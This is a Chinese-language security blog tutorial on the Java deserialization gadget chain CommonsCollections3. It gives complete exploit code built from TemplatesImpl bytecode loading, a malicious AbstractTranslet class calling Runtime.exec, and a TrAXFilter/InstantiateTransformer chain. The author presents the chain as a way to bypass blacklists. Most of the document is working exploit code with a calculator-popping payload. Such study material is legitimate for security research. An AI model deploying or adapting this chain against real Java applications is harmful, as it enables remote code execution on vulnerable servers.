Java反序列化 Commons-Collections03-cc3链
Commons-Collections03 当然写 cc3链啦
https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE/
https://www.bilibili.com/video/BV1Zf4y1F74K/?spm_id_from=333.1007.top_right_bar_window_history.content.click
前置
- jdk1.8.0_u65
- Commons-Collections 3.2.1
回顾类加载
开始之前,回顾一下类加载: ClassLoader#defineClass 直接加载字节码
流程为下:
ClassLoader.loadClass() -> ClassLoader.findClass() -> ClassLoader.defineClass()
loadClass(): 首先会根据双亲委派机制,先从已加载的类缓存,父加载器中寻找类。如果没有找到的情况下走到 findClass()
findClass(): 根据名称或位置加载 .class 字节码,然后使用 defineClass
defineClass: 处理前面传入的字节码,将其处理成真正的 Java 类
- 真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的
ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中
name 为类名,b 为字节码数组,off 为偏移量, len 为字节码数组的长度
因为系统的 ClassLoader #defineClass是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后即可弹 calc
- 优点:不出网也可以加载字节码。
- 缺点: 需要暴力反射,平常反射中无法调用。
defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类;
此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。
cc3 链分析
TemplatesImpl 分析
因为 defineClass 的方法作用域为 protected,我们需要找到作用域为 public 的类方便利用
find usages:
defineClass 方法,没有标注作用域,默认为 default,那就说明肯定在该类中调用了,继续 find Usage
defineTransletClasses 方法中调用了,但是该方法作用域为 private ,继续寻找 Usage
这里 find Usage 后发现有三处调用了
看到最后一处调用:

此处有调用完 defineTransletClasses 方法后,如果将该方法执行完还会调用 newInstance() 实例化,动态执行代码。
但是该方法为 private 私有属性,所以我们继续 find Usage
找到了最后一个 public 方法,此处我们调用 newTransformer() 方法后,就会调用 getTransletInstance() 方法。
1 2 3 4 5
| TemplatesImpl.newTransformer() -> getTransletInstance() ->defineTransletClasses() -> defineClass() -> newInstance
|
TemplatesImpl 利用
首先开头肯定是调用 newTransformer 方法

其他参数不需要管就会调用 getTransletInstance() 方法
1 2
| TemplatesImpl templates = new TemplatesImpl(); templates.newTransformer();
|
这里我们可以看到 TemplatesImpl 的构造方法是一个无参构造,所有所有的参数我们这里都要自己赋值
我们的目标是要走到 defineTransletClasses() 这个方法里,所以我们要满足:
_name 不为空,否则就会返回 null
_class 为空,不然就走不到defineTransletClasses() 这个方法里
接着跟进到 defineTransletClasses
_bytecodes 不能为空,否则会抛异常
_tfactory 必须要赋值,否则会空指针错误
1
| private byte[][] _bytecodes = null;
|
是一个二维数组
但是需要注意,下面传递进 defineClass 方法中的 bytecodes 是一个一维数组

所以我们可以这样写, 满足了二维数组的格式,又可以在参数调用的时候传入字节码数组
1 2
| byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\calc180.class")); byte[][] codes = {code};
|
1
| private transient TransformerFactoryImpl _tfactory = null;
|
申明了 transient , 那就说明不管我们对该属性做任何修改,序列化的时候都不参与。
既然这样那肯定在 readObject 中提前就有赋值,我们跟进 readObject 方法查看

但是为了方便验证和调试,我们先用反射走一遍
编写EXP & Debug代码
我们先写到目前为止的 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd"); Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\calc180.class")); byte[][] codes = {code}; declaredField.set(templates, codes); Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
其中 calc180.class 为 Runtime 执行 calc 编译后的 class 文件。
运行后发现报错了:

NullPointerException , 空指针异常。
根据报错定位到这一行代码

为了更清晰的理清代码运行逻辑,在上方设置一个断点调试。

走到这里:

已经可以看到报错的原因了:
我们在这里没有对 _auxClasses 赋值,走进了 else 语句后报了空指针错误。
那么这里就有两种解决方法:
- 走进 if 不执行 else 语句
- 对
_auxClasses 赋值
但是第二个方法有一个问题,因为此时 _transletIndex 的值是 -1
那就一定会走进下面的异常 if if (_transletIndex < 0)
所以只能用第一种解决方法
分析一下这条 if 语句

而这里的 superClass 指的是我们通过 byte[][] 注入的字节码文件
所以判断的也就是我们传入的恶意 class 文件中的父类是否继承了 ABSTRACT_TRANSLET 这个类
1
| com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
|
修改 Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import java.io.IOException; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet{ @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
需要实现父类 AbstractTranslet 中的两个抽象方法
然后重新构建,拿出 class 文件,修改 cc3中的 class 文件名
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class cc3 { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
templates.newTransformer(); } }
|
再次运行, 成功弹出 calc

因此完整的流程图应该是这样,也就是只改了最后 Runtime 的任意命令执行

那就是说,到 ChainedTransformer.transform 都不用变。
那我们就把 cc1 链中的 ChainedTransformer 拿过来用
利用 cc1 / cc6 链补全 cc3链
继续利用 ConstantTransformer 返回 templates ,下面调用 newTransformer 方法
因为是无参构造,所以传入两个 null 即可。
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);
|
可以执行,那就把 cc1 的 exp 后面半段拿过来用就行
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package xekoner;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class cc3 { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); Class ac = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHdlConstructor = ac.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true); Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
验证可以正常弹 calc

ysoserial 版 cc3 链
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java
我们继续回到 newTransformer() 方法中 Find Usage

TrAXFilter

符合我们的利用条件
继续回到 ysoserial 写的 cc3 链,看到作者并没有用 InvokerTransformer , 而是用了 InstantiateTransformer
这也确实,在很多情况下都会把 InvokerTransformer 设置为黑名单。

跟进看一下这个类

如果传入的参数 Class 类为空则直接抛出异常
不为空执行下面的语句,获取传入参数的构造器,并且实例化调用构造函数
所以我们可以写成:
1 2
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
TrAXFilter 没有实现序列化接口,但是 class 是可以被序列化的
实际上到这一步就已经可以去执行 newTransformer() 方法了,把下面的代码注释掉然后验证一下:
没问题,把代码加进 ChainedTransformer 中;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ...
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
...
|
这样,从 ChainedTransformer 开始,不需要管参数值,返回永远是 TrAXFilter.class
返回给 instantiateTransformer 调用 TrAXFilter 的构造方法,然后 TrAXFilter 调用 templates.newTransformer() 方法
就会走到 templates.newTransformer() 方法,然后走接下来的逻辑
验证:

完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package xekoner;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class cc3 { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); Class ac = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHdlConstructor = ac.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHdlConstructor.setAccessible(true); Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);
unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结
利用 cc3 链的方法,可以绕过一些黑名单
比如说 Runtime exec , InvokerTransformer 等